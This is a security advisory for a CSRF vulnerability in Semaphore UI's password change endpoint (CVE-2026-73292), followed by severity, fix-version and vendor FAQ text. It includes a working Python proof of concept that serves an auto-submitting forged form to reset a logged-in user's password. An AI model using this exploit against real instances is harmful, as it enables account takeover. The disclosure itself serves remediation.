Summary
Semaphore UI: CSRF vulnerability on password change endpoint - No CSRF token or password confirmation
The password change form is vulnerable to CSRF, allowing an attacker to change a user password (even the administrator) by tricking a connected user to visit a malicious website. The vulnerability has been tested with version 2.18.20.
Details
The password change endpoint of Semaphore UI does not implement any CSRF protection:
- No CSRF token required
- No current password confirmation required
- Authentication relies solely on a session cookie (
semaphore) with noSameSiteenforcement
A malicious page can silently change the password of any authenticated user who visits it by submitting the /api/users//password forms.
PoC
To reproduce the exploit, you can use the following python script:
import logging
import argparse
import time
import sys
import os
from http.server import SimpleHTTPRequestHandler, HTTPServer
logging.basicConfig(filename=None, level=logging.DEBUG,format='%(asctime)s - %(message)s')
def forge_malicious_page(target, user_id, newpassword):
return f"""
<html>
<body>
<form id="CSRF_POC" action="{target}/api/users/{user_id}/password" enctype="text/plain" method="POST">
<input type="hidden" name='{{"password": "{newpassword}", "project_id": 1}}' value='//}}' />
</form>
<script>
document.getElementById("CSRF_POC").submit();
</script>
</body>
</html>
""";
parser = argparse.ArgumentParser()
parser.add_argument("-i","--user_id",type=int, help="user id to change password", required=True)
parser.add_argument("-u","--uri", help="Base uri to target", required=True)
parser.add_argument("-n","--new_password", help="new password to set", default='passwordchanged')
parser.add_argument("-p","--port", help="Port to run server", default=1337)
args = parser.parse_args()
class Handler(SimpleHTTPRequestHandler):
def do_GET(self):
logging.info("Client: %s | Methode: %s | Chemin: %s | Query: %s" %
(self.client_address[0], self.command, self.path,
self.path.split('?')[1] if '?' in self.path else 'None'))
content=forge_malicious_page(args.uri,args.user_id, args.new_password).encode()
self.send_response(200)
self.send_header("Content-Type", "text/html; charset=utf-8")
self.send_header("Content-Length", str(len(content)))
self.end_headers()
self.wfile.write(content)
httpd = HTTPServer(("", args.port), Handler)
logging.info("[*] Serving at port "+str(args.port))
httpd.serve_forever()
Example :
python poc.py -u http://semaphore:3000 -i 1 -n pwn3d -p 1337
1 - Run the previous script with the url of the targeted semaphore instance and the id of the targeted user. The script will serve a malicious webpage on port 1337.
2 - Connect to semaphore UI in another tab with the targeted user.
3 - In the same browser, visit the malicious website (ex: localhost:1337).
4 - When you visit localhost:1337, the password change form will be silently submitted to semaphore, changing the targeted user password. You can now connect to the targeted user with the password passwordchanged.
Impact
This is a Cross-Site Request Forgery vulnerability. An unauthenticated attacker can trick any user, even administrator, to change their password and take control of the semaphore instance.
A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones. Typical impact: state-changing actions performed as the victim without their consent.
CVE-2026-73292 has a CVSS score of 7.6 (High). The vector is reachable from an adjacent network, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260707190631-c59c3dc9035b); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-73292? CVE-2026-73292 is a high-severity cross-site request forgery (CSRF) vulnerability in github.com/semaphoreui/semaphore (go), affecting versions < 0.0.0-20260707190631-c59c3dc9035b. It is fixed in 0.0.0-20260707190631-c59c3dc9035b. A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones.
- How severe is CVE-2026-73292? CVE-2026-73292 has a CVSS score of 7.6 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of github.com/semaphoreui/semaphore are affected by CVE-2026-73292? github.com/semaphoreui/semaphore (go) versions < 0.0.0-20260707190631-c59c3dc9035b is affected.
- Is there a fix for CVE-2026-73292? Yes. CVE-2026-73292 is fixed in 0.0.0-20260707190631-c59c3dc9035b. Upgrade to this version or later.
- Is CVE-2026-73292 exploitable, and should I be worried? Whether CVE-2026-73292 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-73292 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-73292? Upgrade
github.com/semaphoreui/semaphoreto 0.0.0-20260707190631-c59c3dc9035b or later.